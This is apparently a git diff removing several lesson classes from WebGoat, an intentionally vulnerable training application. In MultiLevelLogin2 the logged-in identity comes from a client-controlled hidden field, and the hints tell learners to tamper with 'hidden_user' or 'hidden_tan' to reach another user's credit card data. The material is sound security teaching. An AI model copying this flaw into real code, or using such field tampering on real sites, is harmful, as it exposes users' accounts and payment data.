"); - ec.addElement(h); - ec.addElement(createLogoutLink()); - } - - /** - * Create content after a successful login - * - * @param s - * @param ec - */ - private void createSuccessfulLoginContent(WebSession s, ElementContainer ec) - { - - updateTan(getLoggedInUser(s), s); - String userDataStyle = "margin-top:50px;"; - - Div userDataDiv = new Div(); - userDataDiv.setStyle(userDataStyle); - userDataDiv.addAttribute("align", "center"); - Table table = new Table(); - table.addAttribute("cellspacing", 10); - table.addAttribute("cellpadding", 5); - - table.addAttribute("align", "center"); - TR tr1 = new TR(); - TR tr2 = new TR(); - TR tr3 = new TR(); - TR tr4 = new TR(); - tr1.addElement(new TD("Firstname:")); - tr1.addElement(new TD(getLoggedInUser(s))); - - try - { - ResultSet results = getUser(getLoggedInUser(s), s); - results.first(); - - tr2.addElement(new TD("Lastname:")); - tr2.addElement(new TD(results.getString("last_name"))); - - tr3.addElement(new TD("Credit Card Type:")); - tr3.addElement(new TD(results.getString("cc_type"))); - - tr4.addElement(new TD("Credit Card Number:")); - tr4.addElement(new TD(results.getString("cc_number"))); - - } - - catch (Exception e) - { - e.printStackTrace(); - } - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - table.addElement(tr4); - - userDataDiv.addElement(table); - ec.addElement(userDataDiv); - ec.addElement(createLogoutLink()); - } - - /** - * Create a link for logging out - * - * @return Element - */ - private Element createLogoutLink() - { - A logoutLink = new A(); - logoutLink.addAttribute("href", getLink() + "&logout=true"); - logoutLink.addElement("Logout"); - - String logoutStyle = "margin-right:50px; mrgin-top:30px"; - Div logoutDiv = new Div(); - logoutDiv.addAttribute("align", "right"); - logoutDiv.addElement(logoutLink); - logoutDiv.setStyle(logoutStyle); - - return logoutDiv; - } - - /** - * Update the tan. Every tan should be used only once. - * - * @param user - * @param s - */ - private void updateTan(String user, WebSession s) - { - int tanNr = getTanPosition(user, s); - - Connection connection = null; - - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setInt(1, tanNr); - prepStatement.setString(2, user); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * If lesson is reseted the tans should be resetted too - * - * @param s - */ - private void resetTans(WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * Get the count of the tan - * - * @param user - * @param s - * @return tanPosition - */ - private int getTanPosition(String user, WebSession s) - { - int tanNr = 0; - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) - { - - tanNr = results.getInt(results.getRow()); - tanNr = tanNr + 1; - if (tanNr > 5) - { - tanNr = 0; - } - // make sure you don't get the first tan in stage 2 - if (getLessonTracker(s).getStage() == 2 && tanNr == 1) - { - ++tanNr; - } - } - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return tanNr; - } - - /** - * Get a user by its name - * - * @param user - * @param s - * @return ResultSet containing the user - */ - private ResultSet getUser(String user, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - - ResultSet results = prepStatement.executeQuery(); - - return results; - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return null; - - } - - /** - * See if the tan is correct - * - * @param user - * @param tan - * @param tanPosition - * @param s - * @return true if the tan is correct - */ - private boolean correctTan(String user, String tan, String tanPosition, WebSession s) - { - if (tan.equals("")) { return false; } - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT user_data_tan.userid FROM user_data_tan, tan WHERE user_data_tan.first_name = ? " - + "AND user_data_tan.userid = tan.userid AND tan.tanValue = ? AND tan.tanNr = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - prepStatement.setString(2, tan); - prepStatement.setString(3, tanPosition); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return false; - } - - /** - * See if the password and corresponding user is valid - * - * @param userName - * @param password - * @param s - * @return true if the password was correct - */ - private boolean correctLogin(String userName, String password, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, userName); - prepStatement.setString(2, password); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return false; - - } - - /** - * Gets the category attribute of the RoleBasedAccessControl object - * - * @return The category value - */ - protected ElementContainer doStage1(WebSession s) - { - ElementContainer ec = new ElementContainer(); - ec.addElement(createMainContent(s)); - return ec; - - } - - /** - * After finishing succesful stage1 this function is called - */ - protected Element doStage2(WebSession s) - { - ElementContainer ec = new ElementContainer(); - ec.addElement(createMainContent(s)); - return ec; - } - - /** - * Get the category - * - * @return the category - */ - protected Category getDefaultCategory() - { - return Category.AUTHENTICATION; - } - - /** - * Gets the hints attribute of the RoleBasedAccessControl object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("Stage 1: Just do a regular login"); - hints.add("Stage 2: How does the server know which TAN has to be used?"); - hints.add("Stage 2: Maybe taking a look at the source code helps"); - hints.add("Stage 2: Watch out for hidden fields"); - hints.add("Stage 2: Manipulate the hidden field 'hidden_tan'"); - - return hints; - - } - - /** - * Get the instructions for the user - */ - public String getInstructions(WebSession s) - { - String instructions = ""; - if (getLessonTracker(s).getStage() == 1) - { - instructions = "STAGE 1:\t This stage is just to show how a classic multi login works. " - + "Your goal is to do a regular login as Jane with password tarzan. " - + "You have following TANs:
" + "Tan #1 = 15648
" + "Tan #2 = 92156
" - + "Tan #3 = 4879
" + "Tan #4 = 9458
" + "Tan #5 = 4879
"; - - } - else if (getLessonTracker(s).getStage() == 2) - { - instructions = "STAGE 2:\tNow you are a hacker who " + "already has stolen some information from Jane by " - + "a phishing mail. " + "You have the password which is tarzan and " - + "the Tan #1 which is 15648
" + "The problem is that the first tan is already " - + "used... try to break into the system anyway. "; - } - - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(110); - - /** - * Get the ranking for the hirarchy of lessons - */ - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Get the title of the Lesson - */ - public String getTitle() - { - return ("Multi Level Login 1"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin2.java b/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin2.java deleted file mode 100644 index 38341b699..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/MultiLevelLogin2.java +++ /dev/null @@ -1,815 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.sql.Connection; -import java.sql.PreparedStatement; -import java.sql.ResultSet; -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.A; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Div; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.H2; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.apache.ecs.xhtml.style; -import org.owasp.webgoat.session.DatabaseUtilities; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * - * For details, please see http://webgoat.github.io - * - * @author Reto Lippuner, Marcel Wirth - * @created April 7, 2008 - */ - -public class MultiLevelLogin2 extends LessonAdapter -{ - private final static String USER = "user2"; - private final static String PASSWORD = "pass2"; - private final static String TAN = "tan2"; - private final static String HIDDEN_USER = "hidden_user"; - - private final static String LOGGEDIN = "loggedin2"; - private final static String CORRECTTAN = "correctTan2"; - private final static String CURRENTTAN = "currentTan2"; - private final static String CURRENTTANPOS = "currentTanPos2"; - - // needed to see if lesson was successfull - private final static String LOGGEDINUSER = "loggedInUser2"; - - // private String LoggedInUser = ""; - - /** - * See if the user is logged in - * - * @param s - * @return true if loggedIn - */ - private boolean loggedIn(WebSession s) - { - try - { - return s.get(LOGGEDIN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * See if the user had used a valid tan - * - * @param s - * @return true if correctTan - */ - private boolean correctTan(WebSession s) - { - try - { - return s.get(CORRECTTAN).equals("true"); - } catch (Exception e) - { - return false; - } - } - - /** - * Get the currentTan - * - * @param s - * @return the logged in user - */ - private String getCurrentTan(WebSession s) - { - try - { - String currentTan = (String) s.get(CURRENTTAN); - return currentTan; - } catch (Exception e) - { - return ""; - } - } - - /** - * Get the currentTanPossition - * - * @param s - * @return the logged in user - */ - private Integer getCurrentTanPosition(WebSession s) - { - try - { - Integer tanPos = (Integer) s.get(CURRENTTANPOS); - return tanPos; - } catch (Exception e) - { - return 0; - } - } - - /** - * Get the logged in user - * - * @param s - * @return the logged in user - */ - private String getLoggedInUser(WebSession s) - { - try - { - String user = (String) s.get(LOGGEDINUSER); - return user; - } catch (Exception e) - { - return ""; - } - } - - /** - * Creates WebContent - * - * @param s - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - style sty = new style(); - - sty - .addElement("#lesson_wrapper {height: 435px;width: 500px;}#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} .lesson_text {height: 240px;width: 460px;padding-top: 5px;} #lesson_buttons_bottom {height: 20px;width: 460px;} #lesson_b_b_left {width: 300px;float: left;} #lesson_b_b_right input {width: 100px;float: right;} .lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} .lesson_workspace { } .lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} .lesson_text_db {color: #0066FF} #lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} #lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} #lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;}"); - ec.addElement(sty); - - Div wrapperDiv = new Div(); - wrapperDiv.setID("lesson_wrapper"); - - Div headerDiv = new Div(); - headerDiv.setID("lesson_header"); - - Div workspaceDiv = new Div(); - workspaceDiv.setClass("lesson_workspace"); - - wrapperDiv.addElement(headerDiv); - wrapperDiv.addElement(workspaceDiv); - - ec.addElement(wrapperDiv); - - workspaceDiv.addElement(createWorkspaceContent(s)); - - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - * Creation of the content of the workspace - * - * @param s - * @return Element - */ - private Element createWorkspaceContent(WebSession s) - { - String user = ""; - user = s.getParser().getStringParameter(USER, ""); - String password = ""; - password = s.getParser().getStringParameter(PASSWORD, ""); - String tan = ""; - tan = s.getParser().getStringParameter(TAN, ""); - String hiddenUser = ""; - hiddenUser = s.getParser().getStringParameter(HIDDEN_USER, ""); - // String hiddenTan = s.getParser().getStringParameter(HIDDEN_TAN, ""); - - ElementContainer ec = new ElementContainer(); - - // verify that tan is correct and user is logged in - if (loggedIn(s) && correctTan(tan, s)) - { - s.add(CORRECTTAN, "true"); - } - // user is loggedIn but enters wrong tan - else if (loggedIn(s) && !correctTan(tan, s)) - { - s.add(LOGGEDIN, "false"); - } - - if (correctLogin(user, password, s)) - { - s.add(LOGGEDIN, "true"); - s.add(LOGGEDINUSER, user); - s.add(CURRENTTANPOS, getTanPosition(user, s)); - // currentTanNr = getTanPosition(user, s); - // currentTan = getTan(user, currentTanNr, s); - s.add(CURRENTTAN, getTan(user, getCurrentTanPosition(s), s)); - - } - - // if restart button is clicked owe have to reset log in - if (!s.getParser().getStringParameter("Restart", "").equals("")) - { - resetTans(s); - } - // Logout Button is pressed - if (s.getParser().getRawParameter("logout", "").equals("true")) - { - - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - } - if (loggedIn(s) && correctTan(s)) - { - s.add(LOGGEDIN, "false"); - s.add(CORRECTTAN, "false"); - - createSuccessfulLoginContent(s, ec, hiddenUser); - - } - else if (loggedIn(s)) - { - if (getCurrentTanPosition(s) > 5) - { - createNoTanLeftContent(ec); - } - else - { - createAskForTanContent(s, ec, getCurrentTanPosition(s), user); - } - } - else - { - String errorMessage = ""; - - if (!(user + password).equals("")) - { - errorMessage = "Login failed! Make sure " + "that user name and password is correct."; - } - else if (!tan.equals("")) - { - errorMessage = "Login failed. Tan is " + "incorrect."; - } - - createLogInContent(ec, errorMessage); - } - - return ec; - } - - /** - * Create content for logging in - * - * @param ec - */ - private void createLogInContent(ElementContainer ec, String errorMessage) - { - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - // table.setStyle(tableStyle); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter your name: ")); - td2.addElement(new Input(Input.TEXT, USER)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - TD td4 = new TD(); - td3.addElement(new StringElement("Enter your password: ")); - td4.addElement(new Input(Input.PASSWORD, PASSWORD)); - tr2.addElement(td3); - tr2.addElement(td4); - - TR tr3 = new TR(); - TD td5 = new TD(); - td5.setColSpan(2); - td5.setAlign("center"); - - td5.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr3.addElement(td5); - - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - loginDiv.addElement(table); - ec.addElement(loginDiv); - - H2 errorTag = new H2(errorMessage); - errorTag.addAttribute("align", "center"); - errorTag.addAttribute("class", "info"); - ec.addElement(errorTag); - } - - /** - * Create content in which the tan is asked - * - * @param s - * @param ec - * @param tanNr - */ - private void createAskForTanContent(WebSession s, ElementContainer ec, int tanNr, String user) - { - - Div loginDiv = new Div(); - loginDiv.setID("lesson_login"); - - Table table = new Table(); - table.addAttribute("align='center'", 0); - TR tr1 = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - td1.addElement(new StringElement("Enter TAN #" + tanNr + ": ")); - td2.addElement(new Input(Input.TEXT, TAN)); - tr1.addElement(td1); - tr1.addElement(td2); - - TR tr2 = new TR(); - TD td3 = new TD(); - td3.setColSpan(2); - td3.setAlign("center"); - - td3.addElement(new Input(Input.SUBMIT, "Submit", "Submit")); - tr2.addElement(td3); - - table.addElement(tr1); - table.addElement(tr2); - - ec.addElement(new Input(Input.HIDDEN, HIDDEN_USER, user)); - loginDiv.addElement(table); - ec.addElement(loginDiv); - ec.addElement(createLogoutLink()); - - } - - /** - * Create content if there is no tan left - * - * @param ec - */ - private void createNoTanLeftContent(ElementContainer ec) - { - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new BR()); - H1 h = new H1("
No tan is left! Please contact the admin.
"); - ec.addElement(h); - ec.addElement(createLogoutLink()); - } - - private void createSuccessfulLoginContent(WebSession s, ElementContainer ec, String user) - { - updateTan(user, s); - String userDataStyle = "margin-top:50px;"; - - Div userDataDiv = new Div(); - userDataDiv.setStyle(userDataStyle); - userDataDiv.addAttribute("align", "center"); - Table table = new Table(); - table.addAttribute("cellspacing", 10); - table.addAttribute("cellpadding", 5); - - table.addAttribute("align", "center"); - TR tr1 = new TR(); - TR tr2 = new TR(); - TR tr3 = new TR(); - TR tr4 = new TR(); - tr1.addElement(new TD("Firstname:")); - tr1.addElement(new TD(user)); - - try - { - ResultSet results = getUser(user, s); - if (results != null) - { - results.first(); - - tr2.addElement(new TD("Lastname:")); - tr2.addElement(new TD(results.getString("last_name"))); - - tr3.addElement(new TD("Credit Card Type:")); - tr3.addElement(new TD(results.getString("cc_type"))); - - tr4.addElement(new TD("Credit Card Number:")); - tr4.addElement(new TD(results.getString("cc_number"))); - - if (!user.equals(getLoggedInUser(s))) - { - makeSuccess(s); - } - } - - } - - catch (Exception e) - { - e.printStackTrace(); - } - table.addElement(tr1); - table.addElement(tr2); - table.addElement(tr3); - table.addElement(tr4); - - userDataDiv.addElement(table); - ec.addElement(userDataDiv); - ec.addElement(createLogoutLink()); - } - - /** - * Create a link for logging out - * - * @return Element - */ - private Element createLogoutLink() - { - A logoutLink = new A(); - logoutLink.addAttribute("href", getLink() + "&logout=true"); - logoutLink.addElement("Logout"); - - String logoutStyle = "margin-right:50px; mrgin-top:30px"; - Div logoutDiv = new Div(); - logoutDiv.addAttribute("align", "right"); - logoutDiv.addElement(logoutLink); - logoutDiv.setStyle(logoutStyle); - - return logoutDiv; - } - - /** - * Update the tan. Every tan should be used only once. - * - * @param user - * @param s - */ - private void updateTan(String user, WebSession s) - { - int tanNr = getTanPosition(user, s); - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = ? WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setInt(1, tanNr); - prepStatement.setString(2, user); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * Get a user by its name - * - * @param user - * @param s - * @return ResultSet containing the user - */ - private ResultSet getUser(String user, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? "; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - - ResultSet results = prepStatement.executeQuery(); - - return results; - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return null; - - } - - /** - * If lesson is reseted the tans should be resetted too - * - * @param s - */ - private void resetTans(WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "UPDATE user_data_tan SET login_count = 0 WHERE login_count > 0"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.execute(); - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - } - - /** - * Get the count of the tan - * - * @param user - * @param s - * @return tanPosition - */ - private int getTanPosition(String user, WebSession s) - { - int tanNr = 0; - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT login_count FROM user_data_tan WHERE first_name = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) - { - - tanNr = results.getInt(results.getRow()); - tanNr = tanNr + 1; - if (tanNr > 5) - { - tanNr = 0; - } - } - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return tanNr; - } - - /** - * Get the tan for a user with specific position - * - * @param user - * @param tanPosition - * @param s - * @return tan - */ - private String getTan(String user, int tanPosition, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT tan.tanValue FROM user_data_tan, tan WHERE user_data_tan.first_name = ? " - + "AND user_data_tan.userid = tan.userid AND tan.tanNr = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, user); - prepStatement.setInt(2, tanPosition); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) - { - // System.out.println(results.getString("tanValue")); - return results.getString("tanValue"); - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - return ""; - - } - - /** - * See if the tan is correct - * - * @param tan - * @return true if the tan is correct - */ - private boolean correctTan(String tan, WebSession s) - { - // if (!getCurrentTan(s).equals("")) { return tan.equals(String.valueOf(currentTan)); } - if (!getCurrentTan(s).equals("")) { return tan.equals(getCurrentTan(s)); } - return false; - } - - /** - * See if the password and corresponding user is valid - * - * @param userName - * @param password - * @param s - * @return true if the password was correct - */ - private boolean correctLogin(String userName, String password, WebSession s) - { - Connection connection = null; - try - { - connection = DatabaseUtilities.getConnection(s); - String query = "SELECT * FROM user_data_tan WHERE first_name = ? AND password = ?"; - PreparedStatement prepStatement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - prepStatement.setString(1, userName); - prepStatement.setString(2, password); - - ResultSet results = prepStatement.executeQuery(); - - if ((results != null) && (results.first() == true)) { - - return true; - - } - - } catch (Exception e) - { - e.printStackTrace(); - } finally - { - try - { - if (connection != null) - { - connection.close(); - } - } catch (Exception e) - { - e.printStackTrace(); - } - } - - return false; - - } - - protected Category getDefaultCategory() - { - return Category.AUTHENTICATION; - } - - /** - * Gets the hints attribute of the RoleBasedAccessControl object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - - hints.add("How does the server know which User has to be logged in"); - hints.add("Maybe taking a look at the source code helps"); - hints.add("Watch out for hidden fields"); - hints.add("Manipulate the hidden field 'hidden_user'"); - - return hints; - - } - - public String getInstructions(WebSession s) - { - String instructions = ""; - - instructions = "You are an attacker called Joe. You have a valid account by webgoat financial. Your goal is to log in as " - + "Jane. Your username is Joe and your password is banana. This are your TANS:
" - + "Tan #1 = 15161
" - + "Tan #2 = 4894
" - + "Tan #3 = 18794
" - + "Tan #4 = 1564
" - + "Tan #5 = 45751
"; - - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(110); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - public String getTitle() - { - return ("Multi Level Login 2"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/NewLesson.java b/src/main/java/org/owasp/webgoat/lessons/NewLesson.java deleted file mode 100644 index 90b22af3d..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/NewLesson.java +++ /dev/null @@ -1,88 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import org.apache.ecs.Element; -import org.apache.ecs.StringElement; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Sherif Koussa Software Secured - * @created October 28, 2003 - */ -public class NewLesson extends LessonAdapter -{ - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - return super.createContent(s); - // makeSuccess(s); - // ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!")); - // return (ec); - } - - /** - * Gets the category attribute of the NEW_LESSON object - * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.INTRODUCTION; - } - - private final static Integer DEFAULT_RANKING = new Integer(85); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the DirectoryScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("How to create a Lesson"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Your name goes here!", new StringElement("")); - } - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/OffByOne.java b/src/main/java/org/owasp/webgoat/lessons/OffByOne.java deleted file mode 100644 index 2c63686bf..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/OffByOne.java +++ /dev/null @@ -1,530 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; - -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.IMG; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.apache.ecs.xhtml.br; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.ValidationException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Yiannis Pavlosoglou WebGoat - * @created December 05, 2009 - */ -public class OffByOne extends LessonAdapter -{ - private final static String[] price_plans = { "$1.99 - 1 hour ", "$5.99 - 12 hours", "$9.99 - 24 hours"}; - - private final static String ROOM_NUMBER = "room_no"; - - private final static String FIRST_NAME = "first_name"; - - private final static String LAST_NAME = "last_name"; - - private final static String PRICE_PLAN = "price_plan"; - - private final static IMG LOGO = new IMG("images/logos/seleucus.png").setAlt("Seleucus Ltd") - .setBorder(0).setHspace(0).setVspace(0); - - /** - *

The main method for creating content, implemented - * from the the LessonAdapter class.

- * - *

